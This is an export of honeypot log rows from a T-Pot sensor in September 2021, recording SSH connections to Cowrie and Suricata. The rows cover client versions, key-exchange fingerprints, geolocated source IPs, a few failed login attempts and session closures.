"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26923	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:11.961965+03	2021-09-20 14:15:13.902644+03	{"_id": "SAboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e40157bc7392", "@version": "1", "timestamp": "2021-09-20T11:13:11.961965Z", "@timestamp": "2021-09-20T11:13:11.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26924	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:12.070693+03	2021-09-20 14:15:13.904646+03	{"_id": "SQboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8fbef170f13c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:12.070693Z", "@timestamp": "2021-09-20T11:13:12.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26925	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:12.195205+03	2021-09-20 14:15:13.905646+03	{"_id": "SgboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d27c279f3a5b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:12.195205Z", "@timestamp": "2021-09-20T11:13:12.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26926	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:12.324991+03	2021-09-20 14:15:13.906646+03	{"_id": "SwboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/fivranne] failed", "session": "d744bcfcb525", "@version": "1", "password": "fivranne", "username": "root", "timestamp": "2021-09-20T11:13:12.324991Z", "@timestamp": "2021-09-20T11:13:12.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26927	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:12.328141+03	2021-09-20 14:15:13.907646+03	{"_id": "TAboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8fbef170f13c", "@version": "1", "timestamp": "2021-09-20T11:13:12.328141Z", "@timestamp": "2021-09-20T11:13:12.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26928	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:12.358016+03	2021-09-20 14:15:13.909646+03	{"_id": "TQboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d27c279f3a5b", "@version": "1", "timestamp": "2021-09-20T11:13:12.358016Z", "@timestamp": "2021-09-20T11:13:12.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26929	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:12.36631+03	2021-09-20 14:15:13.910646+03	{"_id": "TgboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "11488e9ee7be", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:13:12.366310Z", "@timestamp": "2021-09-20T11:13:12.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26930	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:12.427184+03	2021-09-20 14:15:13.911645+03	{"_id": "TwboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "11488e9ee7be", "@version": "1", "timestamp": "2021-09-20T11:13:12.427184Z", "@timestamp": "2021-09-20T11:13:12.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26931	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:12.639436+03	2021-09-20 14:15:13.912646+03	{"_id": "UAboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "11488e9ee7be", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:13:12.639436Z", "@timestamp": "2021-09-20T11:13:12.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26932	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:13:12.426431+03	2021-09-20 14:15:13.914646+03	{"_id": "UQboAnwBvYTbRNuE8iQ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1617374839613326, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57586, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.426431Z", "@timestamp": "2021-09-20T11:13:12.426Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26933	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:13.723135+03	2021-09-20 14:15:13.915645+03	{"_id": "WwboAnwBvYTbRNuE-CQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "517e1283a7dc", "@version": "1", "duration": 3.141674757003784, "timestamp": "2021-09-20T11:13:13.723135Z", "@timestamp": "2021-09-20T11:13:13.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26934	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:14.918613+03	2021-09-20 14:15:13.916646+03	{"_id": "XQboAnwBvYTbRNuE-yTq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d27c279f3a5b", "@version": "1", "duration": 2.842869997024536, "timestamp": "2021-09-20T11:13:14.918613Z", "@timestamp": "2021-09-20T11:13:14.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26935	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:16.423326+03	2021-09-20 14:15:13.918646+03	{"_id": "XgboAnwBvYTbRNuE_yTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "e40157bc7392", "@version": "1", "duration": 4.800957441329956, "timestamp": "2021-09-20T11:13:16.423326Z", "@timestamp": "2021-09-20T11:13:16.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
